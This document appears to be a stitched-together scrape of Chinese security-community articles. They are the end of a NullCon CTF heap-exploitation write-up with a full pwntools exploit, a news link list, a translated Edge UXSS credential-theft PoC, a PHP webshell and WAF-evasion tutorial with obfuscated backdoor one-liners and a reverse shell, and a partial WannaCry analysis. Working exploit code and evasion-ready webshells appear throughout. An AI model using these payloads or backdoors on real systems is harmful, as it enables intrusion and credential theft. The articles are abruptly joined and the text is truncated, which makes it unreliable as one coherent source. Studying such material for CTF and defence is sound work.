puts("tt}");
}
}
puts("t]");
puts("}");
}
那么看到这些后就有想法了，如果我们可以控制copyright的内容的话我们就可以leak出libcbase，而UAF刚好能满足这个需求，在简单的测试后我们得到fmt的偏移量为7
#demo
add(0x10,'0000',0x10)
add(0x10,'1111',0x10)
free(1)
free(0)
payload = 'aaaa'+'x00'*0x14+'%7$x'
add(0x38,payload,0x10)
show()
{
"Books" : [
{
"index": 2,
"name": "aaaa",
"price": 16,
"rights": "Copyright NullCon Shop"
},
{
"index": 1633771873,
"name": "(null)",
"price": 0,
"rights": "61616161
ight NullCon Shop"
},
{
"index": 2,
"name": "aaaa",
"price": 16,
"rights": "Copyright NullCon Shop"
}
]
}
NullCon Shop
(1) Add book to cart
(2) Remove from cart
(3) View cart
(4) Check out
这时我们可以成功的leak出libc，在libcdatabase查了一下得到远程的环境是libc2.27，这时我们切到libc2.27的环境下。
➜ hackimshop strings libc.so.6 | grep GNU
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Compiled by GNU CC version 7.3.0.
接下来就是怎么通过UAF+fmt+libcbase来getshell的问题了，说到UAF，我就想到有`house of
spirit`,但用hos还需要满足一些条件，这时巨强无比的格式化字符串就出场了，任意地址写可不是开玩笑的，通过组合这些漏洞在got表里建立一个fakebook然后通过uaf去free掉，然后再从tcache中new回来这个chunk后往里写one_gadget，就成功的把got表中的函数改成onegadget，然后触发覆盖的这些函数就能getshell。
这里附上EXP
#! /usr/bin/env python
# -*- coding: utf-8 -*- # Distributed under terms of the MIT license.
# flag = hackim19{h0p3_7ha7_Uaf_4nd_f0rm4ts_w3r3_fun_4_you}
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
# n = process('./challenge')
n = remote('pwn.ctf.nullcon.net',4002)
elf = ELF('./challenge')
# libc = elf.libc
libc = ELF('./libc.so.6')
def choice(idx):
n.recvuntil('> ')
n.sendline(str(idx))
def add(size,content,price):
choice(1)
n.recvuntil('length: ')
n.sendline(str(size))
n.recvuntil('name: ')
n.sendline(content)
n.recvuntil('price: ')
n.sendline(str(price))
def free(idx):
choice(2)
n.recvuntil('index: ')
n.sendline(str(idx))
def show():
choice(3)
puts_got = elf.got['puts']
fc = elf.got['__stack_chk_fail']
cp_stmt = 0x6020a0
add(0x10,'0000',0x10)
add(0x10,'1111',0x10)
free(1)
free(0)
payload = p64(puts_got)+p64(0)*2+"%7$s"
add(0x38,payload,0x10)
show()
n.recvuntil('price": 0,n')
n.recvuntil('rights": "')
libc_base = u64(n.recv(6)+'x00x00') - libc.sym['puts']
print "libc_base:",hex(libc_base)
one_gadget = libc_base + 0x4f322
add(0x10,'aaaa',0x10)
add(0x10,'bbbb',0x10)
free(2)
payload = p64(fc)+'x00'*0x10+"%113c%7$n"
add(0x38,payload,0x10)
show()
free(2)
payload = p64(cp_stmt+8) + p64(fc+8)+p64(0)+"%113c%7$n"
add(0x38,payload,0x10)
show()
free(1)
#gdb.attach(n)
#add(0x60,p64(one_gadget)*0x10,12)
choice(1)
n.sendline(str(0x60))
n.sendline(p64(one_gadget)*0x10)
n.interactive()
## 后记
虽然现在打比赛没有那么勤快了，但最近打的大部分比赛的pwn题中，有很大一部分是通过漏洞之间的排列组合，或者是说是常规操作来命题的，做这类题还是有点技巧的，只要基础扎实一点，平时题目接触的多一点，这些题都是能很快得到思路的，剩下的就是根据思路去调试和踩坑了，感谢大家的阅读，最后祝大家新年快乐～ | 社区文章 |
# 【知识】8月8日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：WSH注入案例研究、Metinfo 5.3.17 前台SQL注入漏洞分析、解锁更多姿势——手机锁屏安全研究、Jenkins
plugins多个漏洞、SHA2017 CTF部分writeup、大型挂马团伙“擒狼”攻击分析及溯源报告、英国50万联系人列表被售卖，价格仅4.99美元、
******
**
**
****
**国内热词(以下内容部分摘自** **<http://www.solidot.org/> )：**
比特币突破 3400 美元，Bitcoin Cash 遭到攻击
FBI 担心中国获取美国基因组数据
**资讯类：**
RHME3（硬件CTF）开放注册，欢迎来战！
<https://rhme.riscure.com/3/news>
火狐发布数据泄露事件的说明更新称：企业网络并未遭攻陷
<https://www.fireeye.com/blog/executive-perspective/2017/08/fireeye-provides-update-on-allegations-of-breach.html>
**暗网新闻：**
继Hansa和Aiphabay被接管打击之后,目前暗网梦幻市场(Dream market) 也至少12个供应商账号被接管
<https://www.deepdotweb.com/2017/08/07/dutch-police-taken-12-dream-accounts-likely/>
英国50万联系人列表被售卖，价格仅4.99美元
[http://traderouteilbgzt.onion/?page=listing&lid=bjsN9VPF3xOFpSDO](http://traderouteilbgzt.onion/?page=listing&lid=bjsN9VPF3xOFpSDO)
****
**技术类：**
WSH注入案例研究
<https://posts.specterops.io/wsh-injection-a-case-study-fd35f79d29dd>
Electron hack —— 跨平台 XSS
<https://mp.weixin.qq.com/s/DgjJ6uKtuUPFQhgztL69RQ>
Abusing GDI Objects for ring0 Primitives Revolution
<https://sensepost.com/blog/2017/abusing-gdi-objects-for-ring0-primitives-revolution/>
Metinfo 5.3.17 前台SQL注入漏洞分析
<https://www.leavesongs.com/PENETRATION/metinfo-5.3.17-sql-injection.html>
AgentTT/ComRAT的新变种
<http://www.intezer.com/new-variants-of-agent-btz-comrat-found/>
解锁更多姿势——手机锁屏安全研究
<https://security.tencent.com/index.php/blog/msg/118>
Week of Evading Microsoft ATA – Announcement and Day 1
<http://www.labofapenetrationtester.com/2017/08/week-of-evading-microsoft-ata-day1.html>
Shellcode：Windows API散列块密码（Maru Hash）
<https://modexp.wordpress.com/2017/08/05/shellcode-maru-hash/>
大型挂马团伙“擒狼”攻击分析及溯源报告
<http://bobao.360.cn/learning/detail/4215.html>
Dridex AtomBombing in detail
<http://reversingminds-blog.logdown.com/posts/2125985-dridex-atombombing-in-detail>
Jenkins plugins多个漏洞
<http://seclists.org/oss-sec/2017/q3/261>
p0wnedShell-DarkVersion
<https://github.com/3gstudent/p0wnedShell-DarkVersion>
SHA2017 CTF部分writeup
<https://p-te.fr/2017/08/06/shactf2017-d1d13r/> | 社区文章 |
# 【技术分享】看我如何绕过Edge的SOP通过UXSS窃取用户登录凭据（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：brokenbrowser.com
原文地址：<https://www.brokenbrowser.com/sop-bypass-uxss-stealing-credentials-pretty-fast/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[ **WisFree**](http://bobao.360.cn/member/contribute?uid=2606963099)
**预估稿费：200RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**写在前面的话**
今天，我们将告诉大家如何窃取到Twitter或Facebook的用户凭证。我们在几周之前就干过这件事情，但是我们的目标用户Charles（虚构的）更新了他的Microsoft
Edge浏览器并修改了自己的密码，所以他目前为止仍是安全的。但是，Charles并不知道之前的两种SOP（同源策略）绕过技术仍然没有被修复，而本文将介绍的这种技术效率会更高，而且实现起来也非常简单。
别着急，在开始讲解之前请大家先观看这个时长四十秒的短视频，然后直接查看PoC **【**[
**传送门**](https://www.cracking.com.ar/demos/opendata/) **】** 。
**演示视频**
这个漏洞将允许攻击者窃取Microsoft
Edge用户的账号凭证和cookie，如果他们使用了浏览器的默认密码管理器，那么攻击者将能够以非常快的速度窃取到用户的明文信息。
在开始之前，我要感谢Catalin Cimpanu（[ **@campuscodi**](https://twitter.com/campuscodi)
），因为他之前在博文中写到的内容令我受益匪浅，感兴趣的同学也可以阅读这篇文章 **【**[
**传送门**](https://www.brokenbrowser.com/sop-bypass-uxss-tweeting-like-charles-darwin/) **】** 。
请注意：我这一次是以真实的PoC来给大家展示这个漏洞，至于你如何去使用这个PoC，就纯粹取决于你的价值观了。从我的角度而言，我发布这篇文章的目的是为了让微软公司能够[
**尽快修复这个问题**](https://www.brokenbrowser.com/on-patching-security-bugs/)
，我认为微软是一家非常棒的公司，他们的产品也非常优秀，但是他们当前的[
**漏洞处理策略却非常糟糕**](https://www.brokenbrowser.com/on-patching-security-bugs/)
。因此，我也希望微软公司能够重视这种策略上的失误，然后好好思考并做出改变。
**引言**
一个data-uri加上服务器端重定向，攻击者就可以绕过网站的同源策略（SOP），而这也就意味着各种各样的漏洞即将出现。此时，攻击者将能够窃取到用户的明文密码、获取Cookie、以及嗅探用户的传输数据等等。
之所以会出现这种安全问题，是因为如果一个窗口的启动器是其本身，那么我们可以强制让这个窗口改变其本身所在的位置。比如说，一个加载了恶意网站evil.com的标签可以将一个Paypal标签更改为bankofamerica.com，而BankofAmerica会将PayPal信息作为其referrer属性（而不是evel.com）。如果我们将这种思想应用到目标页面的iframes之中，再配合上data-uri属性的话，我们就可以实现一次完整的同源策略绕过了。此时，我们只需要通过非常简单的注入攻击就可以轻而易举地拿到目标用户的密码了。
**问题分析**
当我们尝试修改服务器端重定向的标签位置时，Edge和IE浏览器将无法确定请求的原始发送方。我们的这项技术需要向页面注入iframe，接下来我们一起回顾一下这项技术，然后再用这项技术欺骗页面（whatsmyreferrer.com）的referrer属性，并让目标网站认为我们发送的请求来自于microsoft.com。
伪造请求发送方的一些注意事项：
1.利用microsoft.com的服务器端重定向打开一个新的窗口。
2.阻止目标线程运行，直到microsoft开始加载（我们在这里需要使用到警告弹窗）。
3.当重定向发生之后，将目标位置设置为whatsmyreferrer.com。
4.操作完成。
第三步是我们完成攻击的关键步骤，在第三步操作中，我们要设置最终的location，为了达到这个目的，我们必须使用目标窗口自身的引用才可以实现设置。比如说，下面这种设置方法就不会起效：
w = window.open("redir.php?URL=https://www.microsoft.com", "WIN");
w.setTimeout('alert("Wait until the redirection starts")');
w.location.href = "https://www.whatismyreferer.com"; // Does not work
我们需要让目标窗口来修改它自己的URL。因此，我们可以利用setTimeout来完成设置：
w = window.open("redir.php?URL=https://www.microsoft.com", "WIN");
w.myself = w; // Self reference saved in the new window
w.setTimeout('alert("Wait until the redirection starts")'+
'myself.location.href = "https://www.whatismyreferer.com"');
上面这段代码虽然看起来没什么问题，但是在重定向的时候Edge浏览器会将myself变量（自引用）屏蔽掉。不过别担心，我们也有办法来防止这种情况的发生：我们可以将引用放到任意一个内置的JS对象之中，例如Math。接下来，我们将myself变量放到Math对象之中。代码如下：
w = window.open("redir.php?URL=https://www.microsoft.com", "WIN");
w.Math.myself = w; // Now in the Math object!
// Crashes below
w.setTimeout('alert("Wait until the redirection starts")'+
'Math.myself.location.href = "https://www.whatismyreferer.com"');
我们可以看到，上面这段代码出现了崩溃（无法利用）。不过别担心，我们也有方法来避免这种崩溃的发生：在window.open中加入javascript代码。在此，我们并不打算尝试去利用这个崩溃，而是要尝试避免崩溃的出现。下面这种方法将会间接运行我们的代码，而且不会发生任何的崩溃：
// Not crashing anymore!
w = window.open("redir.php?URL=https://www.microsoft.com", "WIN");
w.Math.myself = w;
window.open("javascript:" +
"alert('Wait until the redirection starts');" +
"Math.myself.location = 'https://www.whatismyreferer.com'",
"WIN");
[**测试PoC #4**](https://www.cracking.com.ar/demos/opendata/)
如果我们想在IE浏览器中使用这项技术的话，我们还需要添加execScript(“Math”)来强制浏览器在使用Math对象之前对其进行实例化。
w = window.open("redir.php?URL=https://www.microsoft.com", "WIN");
w.execScript("Math"); // Forces IE to instantiate the Math object
w.Math.myself = w;
window.open("javascript:" +
"alert('Wait until the redirection starts');" +
"Math.myself.location = 'https://www.whatismyreferer.com'",
"WIN");
**设置iframe的location参数**
接下来，我们来尝试设置一个iframe的location。在这里，我们需要从其他域名的窗口来修改目标网站iframe的location参数。比如说，在bankofamerica.com打开一个新窗口，然后修改该页面iframe的location参数。
其实整个过程是非常简单的，我们只需要在上面给出的代码中添加window/iframe的引用就行了。比如说，如果我们想要修改目标页面的第一个iframe，那么我们就可以使用下面这样的代码来进行修改：
// Load badbits.html in the first iframe of the target window
Math.myself[0].location = 'https://evil.com/badbits.html';
请记住，绝大多数的网站都会使用隐藏的iframe来处理或发送请求信息，并用可见的iframe来显示广告等内容。美国银行的官方网站也使用了iframe，所以我们准备将其作为我们的攻击目标。我创建了一个简单的HTML文件，它主要负责提示用户输入自己的密码，但是它看起来跟美国银行官方网站的页面所弹出的窗口没有多大的区别。
其中的部分功能代码如下：
w = window.open("redir.php?URL=https://www.bankofamerica.com", "WIN");
w.Math.myself = w;
window.open("javascript:" +
"alert('Wait until the redirection happens');" +
"Math.myself[0].location = 'https://www.cracking.com.ar/demos/opendata/prompt.html'",
"WIN");
上图所示的弹出窗口来自于cracking.com.ar，所以它无法访问顶层窗口。但是，我们还是可以实现一次真正的同源策略绕过。
通过data-uri来设置iframe的location
既然我们可以修改iframe的location参数，那么我们的目的几乎已经实现了。如果我们在data-uri中设置的是javascript代码而并非真实的location地址的话，那么这段js代码几乎可以在目标网站任意页面中执行。如果我们将之前代码中的URL改成了data-uri，那么代码就会变成这样：
Math.myself[0].location = 'data:text/html,<script>alert("I am isolated from the top!")</script>';
上述代码中的警告弹窗会在其自己单独的上下文环境中执行，但是我们可以在document加载之后使用document.write来设置它的源（origin），并与其父级页面相匹配，最终实现同源策略绕过。正如下面这段代码所示：
Math.myself[0].location = 'data:text/html,<script>' +
'window.onload = function(){' +
' document.write("<script>alert(document.cookie)</script>");' +
' document.close();' +
'}</script>';
这样一来，我们就又一次实现了完整的同源策略绕过。这个问题之所以存在，主要是因为我们可以代表其他源来设置页面对象的location属性。接下来，让我们在Google上测试一下这项技术：
[**测试PoC #3**](https://www.cracking.com.ar/demos/opendata/)
**
**
**获取密码**
我通过测试之后发现，只要密码输入框是从正确的源加载的，那么Edge浏览器将会自动填写那些没有id或name的密码输入框，表单格式如下：
<form>
<input />
<input type="password" />
</form>
这也就意味着，如果我们能够向目标网站中注入能够提取出密码的代码，那么Edge将会替我们提取出用户所输入的密码。实际上，无论我们向这些input标签中添加id、name、或者是class，Edge都会自动屏蔽这些参数。比如说，如果我们将用户重定向至facebook.com并注入下面这段代码，那么提示窗口会立刻弹出，然后将用户输入的密码以明文格式存储下来。
<form>
<input />
<input type="password" onchange="alert(this.value)" />
</form>
我们在前两个PoC中给大家演示了如何窃取Facebook和Twitter用户的账号名以及密码，感兴趣的同学可以自行下载查看。
**资源下载**
**【**[ **测试PoC #1 +测试PoC #2**](https://www.cracking.com.ar/demos/opendata/)
**】**
**【**[
**PoC演示视频**](https://www.youtube.com/watch?v=vO6LRO6Sgcg&list=PL12o0t84rBX_oDmz93NwGNgTDiWf-HfUY) **】**
**【**[ **完整PoC压缩包（zip）**](https://goo.gl/zHr4Cu) **】**
**总结**
在我看来，虽然Microsoft
Edge已经在内存崩溃问题以及沙盒系统上得到了很大的进步，但是其基本的设计缺陷仍然存在。我希望微软的朋友们能够努力做出一些改变，祝你们好运… | 社区文章 |
# 【技术分享】php webshell分析和绕过waf技巧
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[阻圣](http://bobao.360.cn/member/contribute?uid=134615136)
预估稿费：400RMB（不服你也来投稿啊！）
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
WebShell是攻击者使用的恶意脚本，它的用途主要是在攻击后的Web应用程序上建立持久性的后门。webshell本身不能攻击或者利用远程漏洞，所以说它总是攻击的第二阶段，这个阶段我们经常称为post-exploitation。（PS：Post Exploitation是国外渗透测试标准里面的一个阶段）
**WebShell常用函数**
现在的Web应用程序基本上是采用PHP开发的，所以本篇文章也主要介绍的是php环境下的WebShell。WebShell无非就是使用PHP内置的函数来执行命令，以下就是用于在php中执行shell命令的一些最常用的函数。
**system()**
system()函数接收命令作为参数，并输出结果。
以下示例演示了运行dir命令，显示执行php文件目录的目录列表：
<?php
system('dir');
?>
-->
驱动器 C 中的卷没有标签。 卷的序列号是 7C53-7529 C:phpstudyWWW 的目录 2016-12-02 15:39
. 2016-12-02 15:39
.. 2016-12-02 15:38 56 hello.php 2016-12-02 15:38 29 system.php 2016-12-02 15:39
test 2 个文件 85 字节 3 个目录 871,600,128 可用字节
**exec()**
exec()函数接收一个命令作为参数，当不输出结果，如果指定第二个可选参数，则结果将作为数组返回。否则，如果回显，将只显示结果的最后一行。
<?php
exec('dir')
?>
-->
我们可以使用echo来输出exec()函数的结果。可以发现只有结果的最后一行。
<?php
echo exec('dir');
?>
-->
3 个目录 871,538,688 可用字节
如果指定第二个参数，则在数组中返回结果。
<?php
echo exec('dir',$array);
print_r($array);
?>
-->
3 个目录 871,538,688 可用字节Array ( [0] => 驱动器 C 中的卷没有标签。 [1] => 卷的序列号是 7C53-7529 [2] => [3] => C:phpstudyWWW 的目录 [4] => [5] => 2016-12-02 15:52
. [6] => 2016-12-02 15:52
.. [7] => 2016-12-02 16:15 53 exec.php [8] => 2016-12-02 15:38 56 hello.php [9] => 2016-12-02 15:46 25 system.php [10] => 2016-12-02 15:39
test [11] => 3 个文件 134 字节 [12] => 3 个目录 871,538,688 可用字节 )
**shell_exec()**
shell_exec()函数类似于exec()函数，但不同的是，它会将整个结果作为字符串输出。
<?php
echo shell_exec('dir');
?>
-->
驱动器 C 中的卷没有标签。 卷的序列号是 7C53-7529 C:phpstudyWWW 的目录 2016-12-02 16:26
. 2016-12-02 16:26
.. 2016-12-02 16:15 53 exec.php 2016-12-02 15:38 56 hello.php 2016-12-02 16:27 34 shellexec.php 2016-12-02 15:46 25 system.php 2016-12-02 15:39
test 4 个文件 168 字节 3 个目录 871,460,864 可用字节
**passthru()**
passthru()函数执行命令并返回输出。
<?php
passthru('dir');
?>
-->
驱动器 C 中的卷没有标签。 卷的序列号是 7C53-7529 C:phpstudyWWW 的目录 2016-12-02 16:35
. 2016-12-02 16:35
.. 2016-12-02 16:15 53 exec.php 2016-12-02 15:38 56 hello.php 2016-12-02 16:35 27 passthru.php 2016-12-02 16:27 34 shellexec.php 2016-12-02 15:46 25 system.php 2016-12-02 15:39
test 5 个文件 195 字节 3 个目录 871,456,768 可用字节
**proc_open()**
proc_open()函数执行一个命令，并且打开用来输入/输出的文件指针。
这个函数可能很难理解，简单的来说，通过使用proc_open()函数，我们可以创建一个进程用于我们的脚本和我们想要运行程序之间的通信。详见PHP文档：
<http://php.net/manual/zh/function.proc-open.php>
**
**
**preg_replace()与/e修饰符**
preg_replace()函数可以执行正则表达式的搜索和替换
如果使用/e修饰符，意味着使用eval执行替换，这样我们就可以传递一个要由eval()函数执行的代码
<?php
preg_replace('/.*/e', 'system("net user");', '');
?>
-->
\ 的用户帐户 ------------------------------------------------------------------------------- Administrator ASPNET Guest HelpAssistant SUPPORT_388945a0 命令运行完毕，但发生一个或多个错误。
**反引号**
肯定很多人没有注意到这点吧，php将反引号的内容作为shell命令执行。
<?php
$string=`$_GET[id]`;
echo "<pre>$string</pre>";
?>
结果：
某WAF也没扫描到：
**
**
**隐藏WebShell-免杀之路**
**利用HTTP请求头**
在php中，我们可以很容易获取到HTTP请求头里面的某些特殊字符串头，比如User-Agent。同样的原理，我也可以利用这个来传入需要执行的命令。
<?php system($_SERVER['HTTP_USER_AGENT'])?>
通过User-Agent传入命令执行：
某waf也是扫描到，当然除了User-Agent，我们还有Accept-Language等特殊字符串头，这里就不做演示了，主要的还是方法。
**混淆技术**
上面的方法虽然过了waf，但是我们人工一看就知道有问题，所以我们还需要一些混淆技术来隐藏webshell。首先我们来认识一下几个常用功能。
eval() :把字符串作为PHP代码执行
assert() :判断一个表达式是否成立，直接传入字符串会当做 PHP 代码来执行
base64() :使用base64对数据进行编码
gzdeflate() :对数据进行Deflate压缩，gzinflate()解压缩
str_rot13() :对字符串执行 ROT13 转换
**回调函数**
这种办法国内我是看了phithon的介绍，不过这里我肯定要介绍是最新能绕waf的函数。
create_function()
<?php
$args = "hui";
$code = "a;}$_POST['bar'];/*";
echo create_function('$args',$code);
?>
这样构造可以把前面的函数体闭合，再把后面的注释掉，这样就相当于执行了。
eval($_POST[bar])
使用system函数执行net user命令：
**反弹shell**
这里给大家介绍一个php反弹shell的脚本。
下载地址：<http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz>
使用方法：
第一步，填写需要反弹到的IP地址和端口以及需要执行的shell命令。
$ip = '127.0.0.1'; // IP地址
$port = 1234; // 端口
$shell = 'net user'; //需要执行的命令
然后我使用nc监听端口1234：
nc -v -n -l -p 1234
访问php文件后，查看nc监听结果，发现命令成功执行，结果反弹。
waf没有扫描到。
**那些年强悍的WebShell分析**
在Github上有个项目收集了很多的WebShell，这里我们拿出几个我认为比较强悍的webshell分析一下。
项目地址：<https://github.com/tennc/webshell>
**利用404页面隐藏PHP木马**
webshell/php/404.php
这里主要的代码如下：
eval(gzinflate(base64_decode($code)));
木马代码被编码压缩在$code变量中，验证密码是否正确，正确就解压执行，这里密码经过了三次md5加密。
**过某waf的webshell**
webshell/php/bypass-safedog-2016-08-29.php
<?php
$a=md5('a').'<br>';
$poc=substr($a,14,1).chr(115).chr(115).substr($a,22,1).chr(114).chr(116);
$poc($_GET['a']);
?>
利用a的md5值取出了a和e，配合chr函数，构造出assert。
利用演示：
**zone_hackbar.php**
webshell/php/zone_hackbar.php
<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];
if(isset($s22)){eval($s21($s22));}
?>
这个webshell也是通过隐藏关键字，$s21就是base64解密函数，$s22就是接收POST数据。不过某waf对eval可是很敏感的，直接报警。
不要紧，我们修改一下就可以了，用assert，不需要base64加密了。
<?php
$sF="PCT4BA6ODSE_";
$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];
if(isset($s22)){assert($s22);}
?>
这次就没有扫描到了，看看使用有没有错。
**过各大杀软的pHp一句话**
webshell/php/过各大杀软的pHp一句话.php
<?
$_uU=chr(99).chr(104).chr(114);
$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);
$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);
$_=$_fF("",$_cC);@$_();
?>
看起来没什么，其实就是先构造了chr这个字符串，然后利用chr函数分别构造了eval($_POST[1]);和create_function。
最后就是执行：
create_function("",eval($_POST[1]););
不过现在某waf对chr可是很敏感滴。立马被拦截了。
**最新过某waf一句话** ****
这个是我在互联网上看见的，其实和回调函数差不多，拿来分析一下吧。
<?php
error_reporting(0);
$b="zxczxczxczxczxcxzczx";
function yuag_array($b,$c){
$b=strrev($b);
array_map(substr_replace($b, 'ss', 1, 0),array($c));
}
yuag_array("trea",$_POST['yuag']);
?>
先是构造了一个函数yuag_array,然后传入了两个参数，经过反转和替换字符串构造出assert。
这样最后执行的就是：
array_map(assert,array($_POST['yuag']));
这里就不再做详细介绍了。
**参考文章**
<http://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction-web-shells-part-2/>
<https://www.t00ls.net/viewthread.php?tid=20774>
<https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html> | 社区文章 |
# 【技术分享】360天眼：WannaCry（想哭勒索蠕虫）技术分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**传送门**
[**【权威报告】WanaCrypt0r勒索蠕虫完全分析报告**](http://bobao.360.cn/learning/detail/3853.html)
**
**
**一、 事件时间线**
**1) 2017年5月12日**
Malware Tech在twitter上发布了一条通过SMB传播的勒索软件WannaCrypt，之后相关kill switch
url被注册监管，之后该twitter作者编写了文章“How to Accidentally Stop a Global Cyber
Attacks”，在该文章中记录了他是如何第一时间注意到这次攻击事件，并迅速做出相应的过程。
**2) 2017年5月12日**
360发布紧急通告，对一种利用MS17-010进行传播勒索蠕虫进行了预警。
Malwarebytes发布相关分析的报告
思科talos intelligence发布相关的分析报告
同日英国大量医院感染WannaCry蠕虫。
**3) 2017年5月13日**
360发布对WannaCry勒索蠕虫的技术分析。
<http://bobao.360.cn/learning/detail/3853.html>
**二、 蠕虫变种监测**
事件发生以来，包含360公司追日团队在内多家安全研究机构对蠕虫的技术细节做了详细分析，可见文后参考引用。在原始版本的蠕虫泛滥以后，360威胁情报中心观察到了大量基于修改的变种，数量达到数百个，在情报中心的图关联搜索中可以很直观地看到部分关联：
其中几个相对比较有特点的变种如下：
**1) d5dcd28612f4d6ffca0cfeaefd606bcf**
新版本变种和第一版差别不大，只是修改了一开始KILL SWITCH
URL（修改为<http://www.ifferfsodp9ifjaposdfjhgosurijfaewrwergwea.com> ），如下所示：
目前发现有多个变种采用了这种通过简单二进制Patch的方式修改开关域名，与原始版本相关，整个恶意代码只有域名部分的字节被修改：
我们看到部分样本及对应开关域名如下：
总体来说，由于随着系统漏洞的修补，这类样本对整体感染影响不大，下图是原始开关域名与其中一个修改后域名的解析量对比：
从上图还可以看到，开关域名对蠕虫的传播影响非常大，在域名被安全研究者注册形成有效解析和访问以后初始的指数级感染趋势很快被抑制，之后基本再也没有超过最早快速上升阶段形成的高峰。
**2) d724d8cc6420f06e8a48752f0da11c66**
样本通过对原始样本二进制Patch直接去除了检查开关域名以停止加密的功能，可以直接进入感染流程。下图为修改前后的比较：
但是勒索的部分可能是由于作者疏忽，样本里硬编码的用于解压zip的密码还是WNcry@2ol7,
这个密码并不能解压成功，导致勒索流程被废掉了。接来下的变种可能会修复这个“Bug”，而使攻击的威胁程度大增。
360威胁情报中心会对出现的变种蠕虫做持续跟踪，更新进展。
**
**
**三、 原始蠕虫分析**
作为补充，以下是360威胁情报中心对追日团队的技术分析报告基础上进行的分析确认，补充可能看到的一些细节。
样本为一个标准的网络蠕虫，通过MS17-010进行传播，不同于传统的蠕虫在于，该样本中附加了对应的勒索软件，以寻求利益的最大化，整体的感染流程如下所示：
样本运行之后会对内网，外网445端口进行扫描之后，通过MS17-010漏洞上传并执行payload进行传播，之后释放ransom样本，ransom执行初始化之后，再次释放对应的加密模块ransommodule对文件进行加密。
蠕虫整体分为三部分
Worm MD5：DB349B97C37D22F5EA1D1841E3C89EB4
Ransom MD5：84C82835A5D21BBCF75A61706D8AB549
RansomModule MD5：9849852166fe1d494496c1c5482498fd
**Worm**
**主体模块**
该部分为蠕虫的主体，样本运行之后会通过函数InternetOpenUrlA首先访问http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com这个地址，如果访问成功则放弃之后的运行，如下图所示，否则进入fun_enterCry，即蠕虫的主流程，这个地方对于kill
switch域名的作用，主要有以下两种解释：
1\. 作者用于控制样本的传播开关（但是不幸的是该域名之后被以为安全研究员注册并接管）
2\. 该域名用于检测蜜罐的认证（部分蜜罐环境会接管样本的网络流量，如HTTP访问都返回成功，因此通过一个不存在的域名来校验是否运行在蜜罐环境下）
进入fun_enterCry之后通过判断参数的个数来执行相应的流程。
当参数<2，进入fun_begin的安装流程。
当参数>=2，进入服务流程。
安装流程中通过函数fun_starWormservice会创建一个服务mssecsvc2，参数为当前路径 –m security。
通过函数fun_releaseRansom从资源中释放出Ramsom。
**扫描模块**
在服务流程中如下所示，首先在函数fun_initial中实现初始化（网络和payload生成），之后生成线程对内外网进行扫描，
内网一个线程，扫描整个网段。
外网128个线程循环扫描随机生成的ip。
在fun_initial中会调用函数用于生成对应的payload如下所示，分别在固定偏移根据平台获取x86或x64的payload，如下图所示实际上是拷贝到v11[]中，之后读取蠕虫本身并拷贝到payload后面因此整个载荷应该是payload+蠕虫的格式。
如下图所示为对应的payload的x86版本，可以看到这是一个pe文件。
Dump出来可以看到该段代码就是一个单的loader，用于加载资源中的蠕虫。
如下图所示为对应的内网感染代码的实现，通过函数fun_getipduan获取当前ip段，针对每个ip通过函数fun_starAttack发起一次攻击。
在fun_starAttack中首先通过fun_initalSmbcontect函数探测目标ip的445端口是否开启。
如果目标机器开启了445端口，则进入fun_enterBlueattack，该函数中通过NSA泄露的enterblue实现远程攻击，并传播对应的蠕虫样本，如下所示通过fun_tryExpfirst/second实现exploit，该次exploit之后会在目标机器中运行一段内核loader（接受来自doublespular上传的payload，并在user层运行），之后通过fun_doublespularInstall，fun_doubelspluarRunpayload将之前的payload上传并运行，这段payload被内核loader加载，并释放其中资源中的蠕虫运行。
下图为外网的情况下进行的扫描，此时通过随机生成ip进行攻击。
**Ransom释放**
扫描服务启动之后，样本中资源中先解压出对应的ransome，并移动当前 C:WINDOWStasksche.exe到 C:WINDOWSqeriuwjhrf
释放自身的1831资源(MD5: 84C82835A5D21BBCF75A61706D8AB549),到C:WINDOWStasksche.exe,并以
/i参数启动
**Ransome**
Ransom整体流程如下：
在函数fun_GetDisplayName中通过username生成一个标识A。
该勒索样本其中之后，首先会判断参数是否为2，是否包含i
通过该标识尝试在ProgramData目录/Intel目录/Temp系统临时目录生成一个标识A的目录
并将这个这个目录的属性设置为隐藏不可见。
将自身拷贝创建副本。
运行副本，优先通过服务的模式启动，否则以进程的方式启动，在函数fun_checkMutex中通过检测互斥体GlobalMsWinZonesCacheCounterMutexA来判断是否运行成功。
设置对应的注册表项
之后在函数fun_releaseResource中通过再次解压出真正的ransome模块，解压的时候资源为对应80A，需要是使用到解压码WNcry@2ol7。
解压出的文档如下所示：其中msg中包含各国的敲诈说明版本
详细的功能列表
之后在函数fun_getBitaddress中获取对应的比特币付款地址，受害者通过该地址可以进行支付解锁。
运行命令再次设置该工作目录。
之后动态获取文件类api，crypt解密类api。
